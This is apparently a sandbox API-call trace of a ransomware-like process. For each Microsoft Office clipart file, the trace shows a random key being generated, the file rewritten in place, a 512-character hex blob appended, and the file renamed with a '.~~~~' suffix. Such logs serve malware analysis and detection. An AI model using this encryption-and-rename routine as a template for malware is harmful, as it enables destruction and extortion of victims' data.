	[0114.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839fb0 | out: hHeap=0x300000) returned 1
	[0114.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837da8
	[0114.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.501] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.501] GetLastError () returned 0x0
	[0114.501] GetLastError () returned 0x0
	[0114.501] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.501] GetLastError () returned 0x0
	[0114.501] GetLastError () returned 0x0
	[0114.505] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffdf70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.505] WriteFile (in: hFile=0x11c, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x2090, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x2090, lpOverlapped=0x0) returned 1
	[0114.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.506] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.506] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.506] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.506] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.507] CloseHandle (hObject=0x11c) returned 1
	[0114.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.507] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf.~~~~")) returned 1
	[0114.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.508] GetLastError () returned 0x0
	[0114.508] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0114.510] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.510] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.510] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23450004242) returned 1
	[0114.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xadd9c450, dwHighDateTime=0x1d60e1e)) 
	[0114.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839fe8
	[0114.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839fe8 | out: hHeap=0x300000) returned 1
	[0114.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838008
	[0114.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.511] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.511] GetLastError () returned 0x0
	[0114.511] GetLastError () returned 0x0
	[0114.511] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.511] GetLastError () returned 0x0
	[0114.511] GetLastError () returned 0x0
	[0114.514] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd7f4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.514] WriteFile (in: hFile=0x11c, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x280c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x280c, lpOverlapped=0x0) returned 1
	[0114.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.516] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.516] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.516] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.516] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.516] CloseHandle (hObject=0x11c) returned 1
	[0114.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.516] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf.~~~~")) returned 1
	[0114.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.518] GetLastError () returned 0x0
	[0114.518] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0114.519] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.519] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.520] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23450983593) returned 1
	[0114.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaddc25b0, dwHighDateTime=0x1d60e1e)) 
	[0114.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a020
	[0114.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a020 | out: hHeap=0x300000) returned 1
	[0114.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28380a0
	[0114.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.521] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.521] GetLastError () returned 0x0
	[0114.521] GetLastError () returned 0x0
	[0114.521] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.521] GetLastError () returned 0x0
	[0114.522] GetLastError () returned 0x0
	[0114.524] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd840, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.524] WriteFile (in: hFile=0x11c, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x27c0, lpOverlapped=0x0) returned 1
	[0114.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.526] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.526] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.526] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.526] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.526] CloseHandle (hObject=0x11c) returned 1
	[0114.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.526] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf.~~~~")) returned 1
	[0114.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.528] GetLastError () returned 0x0
	[0114.593] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0114.623] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.623] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0114.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0114.623] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23461304856) returned 1
	[0114.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xadeccf50, dwHighDateTime=0x1d60e1e)) 
	[0114.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0114.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0114.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0114.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a250
	[0114.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a250 | out: hHeap=0x300000) returned 1
	[0114.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838690
	[0114.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.624] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.624] GetLastError () returned 0x0
	[0114.624] GetLastError () returned 0x0
	[0114.624] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.624] GetLastError () returned 0x0
	[0114.624] GetLastError () returned 0x0
	[0114.628] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffdc74, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.629] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x238c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x238c, lpOverlapped=0x0) returned 1
	[0114.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0114.631] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.631] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.631] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.631] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.631] CloseHandle (hObject=0x13c) returned 1
	[0114.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.632] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf.~~~~")) returned 1
	[0114.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0114.633] GetLastError () returned 0x0
	[0114.633] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0114.635] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.635] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0114.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0114.635] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23462507374) returned 1
	[0114.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xadeccf50, dwHighDateTime=0x1d60e1e)) 
	[0114.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0114.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0114.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0114.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a288
	[0114.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a288 | out: hHeap=0x300000) returned 1
	[0114.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0114.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28381d0
	[0114.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.636] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.636] GetLastError () returned 0x0
	[0114.636] GetLastError () returned 0x0
	[0114.636] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.636] GetLastError () returned 0x0
	[0114.636] GetLastError () returned 0x0
	[0114.640] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffef348, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.640] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x10cb8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x10cb8, lpOverlapped=0x0) returned 1
	[0114.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0114.642] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.642] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.642] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.642] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.642] CloseHandle (hObject=0x13c) returned 1
	[0114.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.643] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf.~~~~")) returned 1
	[0114.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0114.644] GetLastError () returned 0x0
	[0114.646] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0114.647] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.647] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0114.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0114.647] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23463725704) returned 1
	[0114.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xadef30b0, dwHighDateTime=0x1d60e1e)) 
	[0114.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
